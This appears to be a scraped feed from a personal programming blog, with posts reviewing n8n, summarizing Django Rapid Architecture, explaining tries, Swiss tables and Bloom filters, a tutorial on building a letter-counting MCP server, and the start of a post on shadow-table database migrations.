Coffee bytes

My n8n review after using it for half a year

Fri, 27 Feb 2026 15:50:49 -0600

I’ve been using n8n for a while now to automate processes on Facebook pages, websites, WhatsApp, and combining it with other tools. After this period of use, I think I can now share a somewhat clearer view of what this tool offers and whether it’s really worth it.

If you’ve been living under a rock or you’re new to the tech world, n8n is a pretty popular automation tool. Its main appeal is that it lets you create complex workflows in a very visual way: goodbye lines of code, hello nodes; it turns automation into a drag and drop game, here you just drag and drop boxes onto a canvas and connect them together.

Your browser does not support the video tag.

What exactly can you do with n8n?

In practical terms, almost anything. The tool is incredibly versatile. You can have a process triggered by a specific event, like a message arriving on WhatsApp or Telegram, a new blog post via RSS, or even schedule it to run periodically (like a classic Linux cron job I mentioned in another post).

Nodes in n8n

Everything in n8n revolves around nodes. These are blocks with a single, specific function that you visually connect to build your automation.

There’s a huge library of “out of the box” nodes for almost all popular services, very mainstream: WordPress, Google Calendar, Telegram, and of course, most social networks. Nodes do specific things like: send an email, run every “x” minutes, monitor an RSS feed every “x” seconds.

There are also more low-level technical nodes for creating conditionals (if statements), loops, direct HTTP requests, or even running your own code in JavaScript and Python. Yep, you read that right, no Rust, Go, or other esoteric languages, just pure scripting languages to annoy the old-school devs.

These nodes are joined so that the output of one (or more) becomes the input of the other(s), and the structure resulting from several connected nodes can simply be called a flow, which is stored in JSON format.

You can watch a list flow as soon as you open the app.

n8n’s Support for AI

Additionally, n8n offers support for artificial intelligence. It has AI agent nodes where you can connect your favorite LLM model (OpenAI, Cohere, etc.) to act as the brain for a task. It allows the LLM to connect to predefined tools, such as scheduling an event, returning a text message, like in the Model Context Protocol , modifying an online Excel file, etc.

As you may know, these tools are just MCP servers under the hood.

Database support in n8n

It also includes connectors to databases like Redis and tools that function as small servers to interact with external services.

n8n manages your credentials

And not only that: it securely manages your credentials (encrypted, no exposed environment files), so you don’t make the blunder of hardcoding them or leaving them in a file exposed to the outside.

Flows in n8n can be exported

N8n allows you to save your flows as templates to reuse them or share them with colleagues or upload them to git.

It also has a dashboard to monitor all running flows, seeing which ones are working correctly and where errors occur so you can fix them instantly.

Can I use n8n without knowing how to code?

Yes and no. I don’t plan to lie to you with some fake aspirational spiel like “learn n8n in 24 hours and start making thousands of dollars,” but I’m also not here to dash your spirits by saying you can’t do it if you’re not tech-savvy.

So what’s the deal? Look, my opinion is that if you understand the concept of a loop, an if/else condition, and you understand JSON format, you can already make very simple automations. To create something more complex, you’ll need to round out your knowledge. You need to understand the following:

What a REST API is
What the differences are between a GET, POST, PUT, PATCH, OPTIONS, HEAD, DELETE request, what each one is for and when to use them
What headers are in the context of an HTTP request
What parameters are in the context of an HTTP request
How authentication in third-party services works via tokens
What a webhook is
Knowledge of the most basic functions of Javascript and/or Python

You’ll probably have the bare minimum covered with that to start making things more complex. Also, I warn you, n8n is an automation tool. You’re not going to create the next unicorn with it, and I haven’t even mentioned how restrictive its license is.

What I liked most about n8n

Lots of functionalities out of the box

Without a doubt, the best part is the ease of creating simple automations. The visual part is great, but the real value is that many services come “pre-configured.” You forget about having to deal with complex API calls or installing specific SDKs for each platform; most cases are already covered. You simply focus on the logic of your flow and plugging in the necessary API keys. The learning curve is very friendly.

N8n is perfect to try ideas

N8n is the ultimate test tool, you can test automation ideas in record time, easily and in a more visual way even if you have zero experience with code.

Easy to backup and replicate

The JSON template system also seems like a great feature to me. Being able to share a complex flow with a colleague without them needing the same level of technical knowledge speeds up teamwork immensely.

What didn’t quite convince me about n8n

High overhead

But not everything is perfect. The main “but” I find is the excessive resource consumption. Which is, from my point of view, quite exaggerated. The official recommendations ask for no less than 4 GB of RAM, 2 CPUs, and 20 GB of SSD space.

I can understand that underneath there’s a server and infrastructure running, tons of installed SDKs, but for what is basically a flow manager, it seems excessive to me. I’m sure the same Python or JavaScript scripts that run those automations would run on less than half of these requirements.

Consider that most small companies are probably running about 5-10 flows, a VPS with 4GB of RAM and 2 CPUs to run 10 scripts… doesn’t convince me 100%, especially for minimalist startups with limited resources.

Manual updating

Another aspect that I don’t find appealing is that n8n requires manual updating. You have to go into the terminal, update the package, and restart the services. Yes, it’s true, you can schedule this update, but you run the risk that if n8n breaks something, your application will fail from one day to the next and you won’t even know why.

People overestimate n8n capabilities

Perhaps due to excellent marketing, people believe that n8n is a Swiss Army knife that completely replaces code, and so unrealistic expectations arise. No, n8n cannot serve the same number of requests as a dedicated server in Rust, Go, or any other low-level language. No, n8n is not a web scraper for concurrently scraping all the products of the largest e-commerce sites.

N8n is good for automating tasks by non-technical people, no more no less, that’s all.

n8n’s license is more restrictive than people think

The other point that bothers me the most is the license issue. Unlike many popular open-source projects, n8n does not use an MIT license. In practice, this limits what you can do with it a bit. For example, according to Reddit users, you are not allowed to host an n8n instance to charge clients for keeping their flows running (an “automation as a service” model).

What you can do is offer consulting or implementation services, but not direct hosting. I understand that such an ambitious project requires a sustainable business model, but it’s a restriction to keep in mind if you’re looking for maximum freedom.

I took this from a Reddit post, it’s not any kind of legal advice and take it with a grain of salt:

✅ What you CAN do

Use it internally within your own business for free.

Build automations for clients using their own n8n installation.

Charge for workflow creation, setup, and maintenance, but NOT for hosting or “selling n8n as a service.”

🚫 What you CANNOT do

Offer n8n as SaaS (Software as a Service).

Do white labeling (remove n8n branding and replace it with your own).

Charge customers to use “your” hosted instance of n8n.

Before blindly believing it, make sure to check n8n’s official license here.

My Django Rapid Architecture short overview

Mon, 15 Dec 2025 22:15:52 -0600

The other day, I was browsing Reddit, and found an Architecture proposal for Django projects called “ Django Rapid Architecture ”. It’s a small document with a few guidelines or principles. I’m fond of Django, and I think Django is of the best tools out there that you should use , so I read it and summarized it for you.

Django Rapid Architecture is a collection of curated patterns and idioms. It aims to create maintainable Django codebases. The author claims it derives from 15+ years of experience and 100+ production projects.

What’s wrong with Django’s default architecture?

Well, according to the author, Django’s “apps” are designed for reusable components, not project-specific business logic. Forcing all code into apps creates inflexibility: Migrations make early boundary decisions irrevocable, which inhibits the flexible refactoring necessary for dynamic projects.

Additionally, apps prefer “vertical encapsulation,” which groups views and models according to features. For real-world systems with interconnected business domains and interfaces, this is not ideal.

How to structure projects according to Django Rapid Architecture?

Instead of using Django’s default paradigm, structure by layers:

keep data (models/migrations)
interfaces (HTTP views/management commands)
Business logic (readers/actions) is separate.

This “horizontal encapsulation” aligns with Django’s natural layering, avoids early architectural lock-in, and better models complex domains.

Remember that Django is a monolith.

How does Django Rapid Architecture file structure looks?

And how does that look in practice? Well, something like this. The author talks about how we should embrace monoliths at first, since they’re less complex and more maintainable than microservices, and I agree totally.

Introducing unnecessary complexity just for the sake of it won’t allow you to iterate fast enough, which is crucial in this rapidly changing environment.

How does Django Rapid Architecture file structure looks?

And how does that look in practice? Well, something like this.

project/
├── actions
│   ├── some_domain.py
├── data
│   ├── migrations
│   │   ├── 0001_initial.py
│   └── models
│       └── some_model.py
├── interfaces
│   ├── management_commands
│   │   └── management
│   │       └── commands
│   │           └── some_management_command.py
│   └── http
│       ├── api
│       │   ├── urls.py
│       │   └── views.py
│       └── urls.py
├── readers
│   └── some_domain.py
├── settings.py
└── wsgi.py

The thing here is just to remember that code is divided into actions, data, interfaces, and readers.

Layers in Django Rapid Architecture

How to handle Data?

What to do with Models?

Put all Models, yes, all models, inside a single app called data.

Avoid ultra-large complex models with many methods; complex logic should be independent of models.

Avoid inheritance other than Django’s Model, so every developer can just look at the model and understand what it does.

What about Business logic?

Business logic code should live in plain functions with well-understood interfaces that operate on model instances, querysets, or plain values. Avoid complex inheritance, mixins, decorators, complex custom managers unless it’s absolutely necessary.

How to deal with Readers?

Serving a Django response involves three key parts:

The Query: Built in the view using a queryset. It defines which DB rows/columns to fetch, applying filters, joins, and optimizations. Some logic may be in custom querysets.
The Values: The data to be sent. Basic values come from model fields. Complex business logic often lives here, in model methods (e.g., get_absolute_url), transforming raw data into usable values for the response.
The Projection: The final shaping of data for the client. For a JSON API, this is serialization into a dict/list. For HTML, it’s template rendering. Both use the values from step 2. This is where you decide the exact output format.

Types of functions in readers

I’m oversimplifying this; there are tons of examples in the original source, which I encourage you to read thoroughly. But the main types of functions to extract and transform data from a model are:

Queryset functions encapsulate queryset constructions. Use composition and Higher Order Functions.
Producer functions produce values from model instances, functions that receive an instance and return something.
Projector functions, built on top of producers, return a dictionary that maps one or more names onto one or more values.

Actions

REST APIs are complex and non-uniform. Therefore, we should forget about all secondary HTTP verbs and stick with POST and GET.

Furthermore, we should make sure that a single URL maps to a single view, which responds only to GET or POST, not both. This is something similar to th RPC and gRPC paradigm , which I already wrote about.

Interfaces

SSR using Django templates is top-notch

Generating HTML on the server instead of using an API with react can increase productivity. HTMX combined with Django is recommended, the document also considers this approach superior to using React.

Nest interfaces to avoid complexity

You can organize your code to mimick your hierarchy of url segments.

project/interfaces/http/urls.py
project/interfaces/http/api/urls.py
project/interfaces/http/api/admin/urls.py
project/interfaces/http/api/admin/widgets/urls.py
project/interfaces/http/api/admin/widgets/views.py

Management commands

Django Management commands are also an interface and should be treated similar to views.

Where can I learn more about Django Rapid Architecture?

Where can I learn more about Django Rapid Architecture? Remember that this text is only an overview of the main ideas. If you want to dive into this architecture proposal called Django Rapid Architecture , read the original source. I promise it’s short, only a few pages long, with a few more examples and the justification of some decisions.

I Built A Trie Tree Data Structure Simulator

Sun, 21 Sep 2025 00:00:00 +0000

The other day I was reading the second part of System Design Interview , or was it the first? and I recall that the author was using a trie tree to design a autosuggestion search, like the one on Google. I never heard of that data structure before so I decided to build a visual simulator so you can understand it faster and better.

Aside from suggestions you can also find trie trees in DNA sequence matching in bioinformatics, command routing in CLIs, compiles, and pattern matching in security just to name a few.

Trie Trees: The Data Structure That Thinks in Prefixes

When you’re working with strings in programming—think autocomplete, search suggestions (like I mentioned), or even dictionaries—you’ll eventually bump into something called a Trie Tree. The name might sound fancy, but the idea is straightforward once you picture it.

Let’s see how they stand apart from binary trees, what they’re good for, and in what kind of situations they just suck.

So, what exactly is a Trie Tree?

A Trie (pronounced like “try”) is a special kind of tree that stores strings by their prefixes. Instead of putting whole words into nodes, each level of the tree represents only one character. If you follow a path from the root to a node, you’re basically tracing out a prefix.

For example, storing “cat” and “car” would share the first two steps (“c” → “a”), and then branch at the “t” and “r.” It’s like keeping words organized not by the entire string, but by their common beginnings or prefixes. Like morphemes serving as the base for variations.

graph TD; Root-->C; C-->A; A-->T; A-->R;

Think of it like a family tree but instead of faces you use letters.

How does it differ from a binary tree?

At first glance, you might think, “Wait, isn’t a trie tree a binary tree?” Not quite. A binary tree is built around two child nodes (left and right), usually to order numbers or balance structures.

graph TD; Root-->D; D-->E; E-->A; A-->L; D-->O; D-->I; I-->G;

A Trie, on the other hand, doesn’t care about numbers or ordering in the same way. You can have three, four or any number of nodes (well only from A to Z).

Here are some subtle differences:

Binary tree: Think of it as a librarian sorting books by numbers or alphabetical order. Every left branch is “smaller,” every right branch is “bigger.”
Trie tree: Think of it as grouping books by shared titles. Every branch is one more letter until you finish spelling the word.

That’s why tries shine with strings and look awkward if you try to force them to behave like binary trees (like your romantic relationships), so don’t do it.

What are trie trees used for?

Tries pop up in more places than you’d expect. Some examples:

Autocomplete: Every time your phone suggests “pizza” after you type “pi,” there’s probably a trie under the hood, it makes the queries ~~blazingly~~ fast
Spell checkers: They can quickly test whether a string is in a dictionary (Somewhat similar to a Swiss Table or a Bloom Filter )
IP routing: Networks use a similar prefix-matching idea to decide where to send packets.
Word games: Ever played Scrabble helpers online?

The unifying idea is that you’re not searching one whole word at a time—you’re searching through chunks, prefixes, and paths which makes things a lot way faster and easier.

Building one (the minimalist way)

Ok how to build one? Well this algorithm is probably in one thousands blogs already, but here it goes one more time:

Start with a root node (an empty shell).

graph TD; Root;

For each word, walk through its characters one by one.
If a character doesn’t exist at the current node, create a child node for it.

graph TD; Root-->C;

Move down to that child, and repeat until the whole word is stored.

graph TD; Root-->C; C-->A; A-->R;

Mark the final node as “end of word.” (You can use an asterisk or whatever you want.)

graph TD; Root-->C; C-->A; A-->R*;

That’s it. For “car,” you’d go root → “c” → “a” → “r.” For “cat,” you’d reuse “c” → “a” and just add a “t.”. Just like in the simulator above.

graph TD; Root-->C; C-->A; A-->R*; A-->T*;

In code, it often boils down to a dictionary of dictionaries (or maps inside maps) with a flag to show when a word ends.

The shortages—because nothing can be perfect

Tree tries come with some baggage:

Memory hungry: They can blow up in size if you’re storing a lot of words, especially with large alphabets, think of Google’s trie trees.
Implementation overhead: A simple array or hash lookup is often easier and faster for smaller datasets, otherwise is just an overkill
Cache unfriendly: Since nodes can be scattered in memory, accessing them may be slower on real machines compared to something compact like a hash table, so implement caching system can be complicated.

The upsides (and why people still love them)

Now, where they really shine:

Fast lookups: Checking if a word exists is basically as quick as spelling it out.
Prefix-friendly: Autocomplete and prefix searches are effortless.
Ordered by default: Unlike hash maps, words in a trie naturally come out in alphabetical order, but things can get more complex in languages like Japanese or Chinese.
Shared storage: Common prefixes only get stored once, which saves space if your dataset has lots of overlap. Also since a lot of words comes from morphemes, the tree can store many variations in mimum space.

Memory eaters but lightning-fast when you’re constantly checking or suggesting words.

Big O performance and Trie Trees

What about performance and Big O notation ? This data structure has a O(L) where L is the word’s length. The worst case scenario is a long word, or long sentences.

How to optimize a Trie Tree?

There are some memory optimization techniques if you want to squeeze more juice from this data structure. And given that memory is the Achille’s heel of this data structure that’s the thing that should be improved.

You can use arrays vs hash maps for children
If you’re dealing with a fixed alphabet you can use Bitmask representations.
You can store counts of prefixes in each node to easily get how many words starts with a certain prefix.
You can also store extra metadata at nodes (like frequency counts for predictive typing).

You probably won’t need trie trees

You probably won’t use this data structure every day, unless you’re into search engines, autocomplete or other related tasks, but they can be frequent in big and complex systems. But still I think that this data structure shows how you can tune performance in the most unexpected ways.

Some Trie trees implementations

Don’t reinvent the wheel, here are some community-tested implementations of trie trees.

Swiss Tables the superior performance hashmap

Sun, 21 Sep 2025 00:00:00 +0000

The Hash Map Got a Swiss Army Knife Upgrade

You’ve probably used hashmaps in the past, you normally use them but ignore everything about the internals, you limit your knowledge of hashmaps to getting and setting keys, you iterate over them probably, but that’s all.

hashmap.get("key")
hashmap.set("key", value)
// or
hashmap["key"] = value

Every worth-learning language has its own hashmap implementation, you know, the way it works under the hood, and most devs just don’t give a damn about it, which is fine, I support high level abstractions.

The thing here is that, recently, Go changed its default hashmap implementation from Buckets to Swiss tables looking for better performance, ~~trying to mimick Rust’s performance~~. This change already paid off for some companies saving them hundreds of gigabytes .

By the way, it was Google who created Swiss tables (well one of its engineers), and also protobuffers and GRPC , they’re always improving the performance of what already exists.

So, What’s the Big Idea behind Swiss Tables? It’s All About Metadata.

Traditional open-addressing hash maps store your key-value pairs in a big array. When you insert an element, you hash the key to find a “home” slot. If that seat is already taken, you probe for the next available spot and so on.

Slot 1	Slot 2	Slot 3	Slot 4	Slot 5	Slot 6	slot 7	slot 8	slot 9	slot n
→	→	→	→	↓
1	1	1	1	Free

So… what’s wrong with this? Well, nothing really, just that in certain scenarios it can become messy. To find an element, or to confirm it’s not there, you might have to traverse half the array. That’s slow.

Slot 1	Slot 2	Slot 3	Slot 4	Slot 5	Slot 6	slot 7	slot 8	slot 9	slot n
1	1	1	1	1	1	1	1	Free

Swiss Tables attack this cumbersome problem with a brilliant idea: a separate metadata array. For every slot in the main data array, there’s a corresponding byte in the metadata array.

This byte isn’t just a tombstone or an empty flag; it’s a packed suite of useful information. The most crucial part is the 7 bits from the hash of the key stored in that slot.

Meaning Control bit	Control bit	Bit 1	Bit 2	Bit 3	Bit 4	Bit 5	Bit 6	Bit 7
Empty	1	0	0	0	0	0	0	0
Full	0	0x3A
Deleted	1	1	1	1	1	1	1	0

This is a game changer. Why? Because to check if a slot might contain our key, you don’t need to touch the main data array at all. You can first check the metadata. This is a huge win for performance.

A Step-by-Step Walk Through the Swiss table data structure

Alright, so we’ve talked about the metadata esoteric magic. But how does it actually works, step-by-step, when you insert my_app[“value”] = value and when you ask for my_map[“apple”]?

Inserting a key and its value in a Swiss table

When you look up a key the overall goes this way:

The key is hashed.
The group or bucket is decided using h1.
The target slot or block is located using h2.
If the slot contains our key already you just update it
If no slot contains our key, you look for an empty slot.
If all slots are taken you jump to the next group

Hash the key

First, the key “apple” is run through a robust hash function. This produces a full 64-bit hash value. Let’s say it’s something like 0x5A3F9C42B1D08E3A (a beautiful, random-looking number). Now, Swiss Tables perform a neat trick: they split this hash into two parts:

57 bits (Called h1)
7 bits (Called h2)

H1	…	H1	H2
10101110	…	11100010	0x3A

Decide the initial group using h1

The first 57 bits (0x5A3F9C42B1D08E…): This part of the hash determines which initial group or “bucket” the key belongs to.

0x5A3F9C42B1D08E % 2

Locate target block

The last 7 low bits (0x3A): This is the “probe index.” It tells the map which of the 8 or 16-slots (or “blocks”) to start looking in.

Retrieving the value of a key

When you look up a key the overall goes this way:

The key is hashed.
The group or bucket is decided using h1.
The target slot or block is located using h2.
The CPU takes the 7-bit (h2) hash snippet from our key and loads it into a special register.
It then compares this single value against all 8 or 16 metadata bytes in the target block—simultaneously. This is done using SIMD (Single Instruction, Multiple Data) instructions, basically parallelism.

Now let me explain you the steps.

Finding the block using the 7-bit hash

The map takes the 7-bit (h2) probe index (0x3A) and uses it to locate the specific 8-slot or 16-slot block where “apple” should be. This calculation is incredibly fast.

Use SIMD to compare the slots

This is the SIMD (Single Instruction, Multiple Data) step we love. The CPU loads the 16 metadata bytes from that block. For each byte, it checks two things:

Is the slot occupied? (A special bit in the metadata byte indicates this).

Does the 7-bit (h2) fingerprint in the metadata match our fingerprint (0x3A)?

It does this for all 16 slots AT ONCE. And this is where the magic happens, I’ll elaborate in a moment. The result is a bitmask of potential candidates.

Handle collisions if they exist

A matching 7-bit fingerprint doesn’t mean the keys are equal; it just means they might be equal. It’s a pre-filter. It’s designed to be fast, not perfect. The full 57-bit hash (h1) (and eventually the actual key comparison) is the final arbiter.

If there are any matches (say, slots 2 and 9 had the same 7-bit (h2) fingerprint and are occupied, a collision occurred), the map finally goes to the main data array. But it’s not guessing anymore. It goes directly to slots 2 and 9 and performs a full key comparison: stored_key == “apple”? This is the only expensive operation, and you’ve minimized it to just one or two checks, lukcily you won’t have more than two collisions.

Retrieve the key’s value

Finally, if a full key matches, it returns the value. If not, or if the SIMD step found no candidates, it can confidently say the key isn’t in the map. This last part—the negative lookup—is where Swiss Tables absolutely dominate traditional maps that have to trudge through long probe sequences.

Why are Swiss tables so fast? SIMD and the 16-Slot Block

Here’s where the real genius kicks in. Modern CPUs don’t need to check things one byte at a time. They are surprisingly good doing operations in parallel. Swiss Tables are designed to exploit this by grouping slots into blocks (typically of 16).

In just one ~~blazingly fast~~ operation, the CPU creates a bitmask. A 1 means “the hash snippet matches,” a 0 means it doesn’t. Only then, for the slots that might be a match, does the code actually dereference the pointer to the main data array to do a full key comparison.

This is the killer feature of Swiss Tables. They minimize expensive memory accesses and leverages the CPU’s parallel processing capabilities.

It makes lookups, especially for missing keys, super fast. You’re not traversing a chain or a long probe sequence. Which, as you may know, impacts Big O performance

Why Should You Care? The Swiss tables Advantages

This architecture isn’t just a neat bloring and hypothetical academic exercise. It translates into real tangible benefits that nerdy devs will see reflected in their applications, ~~transforming a 0.0004s into a 0.00002s execution~~. According to Go’s official page, performance went up by about 63% compared to Buckets implementation.

1. Blazing Fast Lookups: The combination of the metadata filter and SIMD makes find() and contains() operations significantly faster than in most traditional maps. It’s not a small margin; we’re talking multiples in many benchmarks.

2. Super Efficient Memory Use: Swiss Tables are typically implemented as “flat” structures. This means they store keys and values directly in the array, not as separate allocated nodes. This greatly improves cache locality—the data you need is probably already in the CPU’s fast cache(You should know the drill: L1, L2, L3 caches)—and it avoids the memory overhead of pointers used in chained implementations. This makes them superior to other hashmaps implementations in terms of memory usage.

3. Smarter Resizing: The metadata array makes the internal control logic much smarter. The map can make better decisions about when to rehash and how to distribute elements, keeping performance more consistent as the load factor increases.

Ok but, what about Swiss tables disadvantages

However, it’s not all sunshine and rainbows, of course, everyhing in tech is trade-off. The separate metadata array does consume extra memory (about 1/16th to 1/8th of the main array), which is usually a great trade-off because memory is one of the cheapest resources.

Also the implementation is complex—thankfully, it can be daunting for those working on it. But my bet is that you’re not so it doesn’t involve you, you’re going to use it the same way you have always used it, just with better performance.

I Built a Bloom Filter Data Structure Simulator

Fri, 05 Sep 2025 09:47:15 -0600

Suppose you want to check whether a piece of data belongs to a larger set. Let’s say you’re Google and you want to check if certain url has been marked as spam, the dumb approach would be to iterate over every url marked as spam to see if you can find it. Sure, maybe you think, “I’ll save the spammy sites in a hashmap”, but then, a hashmap of the gazillion sites that exists in the internet? There must be a way that uses less space.

Even if you index those urls you still will have a not so good Big O performance, maybe O(log n) or O.

This is an interesting data structure that’s probabilistic, it won’t have a 100% chance of returning what you wanna know, but the tradeoffs are interesting enough.

Ok but what’s a Bloom Filter?

A Bloom filter is a data structure that helps you check if an item might be in a set. It gives ~~blazingly~~ fast answers with very little memory. The trade-off is that sometimes it can say an item is present when it is not.

This data structure can produce false positives. But the good news are that there are not false negatives.

Because of this, Bloom filters shine when you care more about speed and space than absolute accuracy.

Where can I use bloom filters?

Bloom filters show up in those systems where quick lookups matter (No, your Tinder for pets probably doesn’t apply):

Databases: To check if a key might be in a table before doing a costly disk read. Of course we’re taking about millions of records, not tiny databases. (Cassandra, HBase, and Redis)
Web caches: To test if a page or object might be cached.
Distributed systems: To cut down on network calls when asking if a node has certain data.
Security: To quickly filter known bad URLs or email addresses, like in the first example I gave you.
Content recommendation systems: Where you want to avoid recommending content already consumed.

Bloom filters help reduce time and resource usage at scale, if you’re ok with some false positives.

How Does a Bloom Filter Work Internally?

A Bloom filter uses:

A bit array (all values start at 0).
A set of hash functions.


0	0	0	0	0	0	0	0	0	0

When you add an item, the filter runs it through each hash function. Each function gives you an index in the array. You set the bits at those positions to 1.


0	0	1	0	0	0	1	1	0	0

There are no deletions in classic bloom filters

Since you are not storing real data but the “pattern” produced by the hash functions, you have no way to tell which combination of data and hash function produced it, hence you cannot “delete” the item.

You cannot retrieve members from the set

Once you construct the bloom filter, you cannot know which items produced that patter from the filter itself, you can only know if something might belong or definitely doesn’t belong to the set.

Bloom filter collisions

However when you start adding more and more elements the chances of getting a collision (false positive) increase.

You can always add more hash functions to diminish the collitions but then the complexity and memory required increase.

Checking if an item exists

When you check an item, the filter does the same. If all the positions are set to 1, the item might be in the set (this is why it’s a probabilistic data structure). If any position is 0, the item is definitely not in the set.


Bloom Filter	0	0	1	0	1	1	1	1	0	0
Word	0	0	1*	0	0	0	1*	1*	0	0

Basic Bloom filter Flow

Here’s a simple outline that you can blatanly use to inspire you in the dark arts of bloom filters:

Decide the size of the bit array and initialize all elements to 0.
Pick a few independent hash functions.
To add an item:
- Run it through each hash function.
- For each function, mark the bit at the returned index as 1
To check an item:
- Run it through each hash function.
- If all bits are 1 → item might be in the set.
- If any bit is 0 → item is not in the set.

Bloom filter pseudocode

Using pseudocode (I know, I should have used Javascript instead), it would look like this.

initialize bit_array of size m with all 0s
choose k hash functions

function add(item):
    for i in 1 to k:
        index = hash_i(item) mod m
        bit_array[index] = 1

function check(item):
    for i in 1 to k:
        index = hash_i(item) mod m
        if bit_array[index] == 0:
            return "not present"
    return "might be present"

Bloom filter flow chart

And if you are a fan of flow charts it would look like this

flowchart TD A[Start] --> B[Hash item with k functions] B --> C[Get indexes] C --> D{Add or Check?} D -->|Add| E[Set bits at indexes to 1] D -->|Check| F[Are all bits = 1?] F -->|Yes| G[Might be present] F -->|No| H[Not present]

Why not use hashmaps instead?

Well you could use some hashmaps approaches like buckets or Swiss tables but consider that you have to deal with collisions, also you can use many less intensive hash functions in a bloom filter whereas in hashmaps you need a strong hash function to avoid collisions which can consume some resources.

Also in a hashmap you store all the information as key-value pairs, whereas in a bloom filter you only store the results of the hash function, which can save a lot of space in memory.

When you shouldn’t use them?

If you need to delete items, standard bloom filters only support inserting new data.
If data is small, there is no sense in using a probabilistic approach with false positives, use a hashmap instead.
As I told you before, the more data you add, the chances of getting false positives increases, so don’t use it for data that grows a lot.

And that’s all, I wrote this entry because I read about this data structure in the System Design Interview Book , found interesting the fact that there is a probabilistic data structure out there, when must of the times you don’t deal with probability when you deal with data structures, quite the contrary, you look for determinism.

Some bloom filter libraries

Chances are there are already community-maintained libraries, so don’t worry about reinventing the wheel.

How to create a MCP server and MCP tools from scratch?

Wed, 23 Jul 2025 18:00:32 -0600

Why Would We Want to Create a MCP Server?

Creating a MCP server allows us to connect an LLM or AI to real-time data, personal data, or other data sources.

I previously wrote a post where I explain how the Model Context Protocol (MCP) works internally ; you can check it out if you’re not satisfied with just a recipe and want to learn more.

In this post, I’ll detail how to create a MCP server. We’re going to make one that solves one of the most embarrassing LLM errors: not being able to count the number of r’s in variations of the word strawberry. For example: strawberrrry or strawberrrrrrry.

If you’re not a bot, you already know that counting letters is a pretty trivial task for a human.

On the other hand, for an LLM it’s almost impossible due to how it works—based on tokens. AI can create art and code , even though it isn’t a consciou entity , but it can’t count letters. Contradictory, isn’t it?

For now, we’ll turn this into an educational exercise on how to deploy a MCP server.

Requirements to Create a MCP Server in JavaScript

We’ll start with a Node installation—you know, the result of running: npm init -y, and we’ll create the index file using the Linux touch command

.
├── index.js
├── package.json
└── package-lock.json

Set package.json as a Module

Inside the package.json file, change or create the type property and assign it the value module, so npm treats it as a module.

"type": "module"

Install the Library

A MCP server requires the official MCP server SDK , just install it via npm. We also need zod, which, ~~if you’re unlucky enough to use JavaScript~~, is used to validate data.

npm install @modelcontextprotocol/sdk@1.16.0 zod@3.25.76

Create a MCP Server

Afterward let’s create a MCP server just initiliazing a new McPServer object

import {McpServer} from "@modelcontextprotocol/sdk/server/mcp.js"

const server = new McpServer({
    name: 'Strawberry Count',
    version: '1.0.0'
})

Create MCP Tools in a MCP Server

Next, we’ll define the tools, or mcp tools, that allow us to receive a parameter from the LLM so we can do whatever we want with it—in this case, count the r’s. I already talked about mcp tools in my introduction to the Model Context Protocol.

// server.tool("<Name>", "<Description>", {
server.tool("Strawberry Count", "Count the number of r's present in an strawberry variant", {
    param: z.string().describe("The strawberry variant, it can have a variable number of r's")
},
    // callback with the param
    // AI will detect this param
    async ({ param }) => {
        return {
            content: [
                {
                    type: 'text',
                    text: `The word has: ${param.toLowerCase().split("").filter(letter => letter == "r").length} r's`
                }
            ]
        }
    }
)

One thing to notice here, we’re counting the r’s manually—no tricks whatsoever. We process the string we receive and return the number of r’s.

Also, I want to highlight how awesome is the dark magic that the LLM uses to get our custom param. Our LLM detects the param that we want to receive from the user’s input using as context the description information that we passed to the describe method.

Obviously, your mcp tool won’t do something as useless as counting r’s—you could fetch data from an API, process it, get info from the file system, or even from another LLM—whatever you want.

Where Does the LLM Get Its Context From?

For this example, we’ll use STDIO (Standard Input Output). But in the MCP introduction I talked you a little bit about its alternatives: SSE and HTTP Stream.

In this case, it’s basically the user’s text input.

const transport = new StdioServerTransport()

Run the MCP Server to Read from STDIO

Now we’ll connect this transport to the MCP server so it can read directly from STDIO.

await server.connect(transport)

Connecting the MCP to Other Applications, like Claude Desktop

We can connect this MCP server to any program that supports MCP so we can use it.

For example, for Claude Desktop we would fill out the claude_desktop_config.json file.

Notice how we declare that the MCP server should run with the npx command followed by the list of arguments in order.

{
    "mcpservers": {
        "name": {
            "commando": "npx",
                "args": [
                    "-y",
                    "node",
                    "<full_path_to_js_file>"
                ]
        }
    }
}

If you wanted to use TypeScript instead of JavaScript, you could do something like this:

{
    "mcpservers": {
        "name": {
            "commando": "npx",
                "args": [
                    "-y",
                    "tsx",
                    "<full_path_to_ts_file>"
                ]
        }
    }
}

Analyzing the MCP Server with the Inspector

How we test that our MCP works? Claude’s inspector lets you test and debug MCP servers. You can view the tools you’ve created and simulate their function—however, these don’t use an LLM. It’s a plain server, functioning as if we were the LLM.

To run it, you can use npx and pass the server command:

npx -y @modelcontextprotocol/inspector <mcp_server_command>

I wasn’t able to run the command using substitution. I tried using the relative and absolute directory, but I couldn’t connect to the server—I’m not sure why.

However it did work by manually filling in the data in the Inspector’s graphical interface.

After running the inspector, we’ll have a server running on port 6274 (by default, though this can be changed).

npx -y @modelcontextprotocol/inspector npm index.js
npx -y @modelcontextprotocol/inspector npm /home/dir/mcp-server/index.js

Next, fill in the transport type and commands in case you had the same issue I did.

If we click on “list tools,” it’ll detect the tool we just created.

By clicking on List tools, and then on the name of the tool, will activate and we’ll be able to pass it our parameter: a strawberry variant with as many r’s as we want.

Just remember, this parameter is what we’d receive directly from our LLM—it would be the one responsible for parsing the user’s input and returning the parameter accordingly, so don’t mess with the input.

As you can see, the code works. The MCP server returns our message. In a real-world setting, this would be received by the LLM and would tell the user the correct number of r’s in their strawberry variant—without making a fool of itself, as it usually would normally do.

Zero Downtime Migrations: Shadow Table Strategy Explained

Fri, 27 Jun 2025 16:14:41 -0600

Picture this: It’s 2 AM, you’re deploying a “simple” column type change to production, and suddenly your entire application is down because the table lock is taking forever. Your phone starts buzzing with angry Slack notifications, and you’re frantically trying to explain to your team why the “5-minute migration” has been running for 30 minutes.

What’s the Shadow Table Strategy?

The shadow table strategy is like having a stunt double for your database table. Instead of modifying your original table directly (and potentially bringing your application to its knees), you create a ~~shadow clone~~ new table with the desired structure, gradually copy data over, and then perform a lightning-fast switcheroo.

Here’s the basic flow:

What Problem Is This Solving Shadow Table Strategy?

Traditional ALTER TABLE operations can be absolute nightmares in production if you’re dealing with websites that have billions of records. When you run something like ALTER TABLE users MODIFY COLUMN id BIGINT, most database engines will:

Lock the entire table for the duration of the operation
Block all reads and writes while restructuring the table
Take forever on large tables (we’re talking hours for billions of rows)
Risk timeouts that leave your database in an inconsistent state

The shadow table strategy solves these problems by breaking the database migration into smaller, more manageable chunks that don’t require long-running locks. Your application stays online, users stay happy, and you don’t get notifications at 3 AM.

What about smaller tables
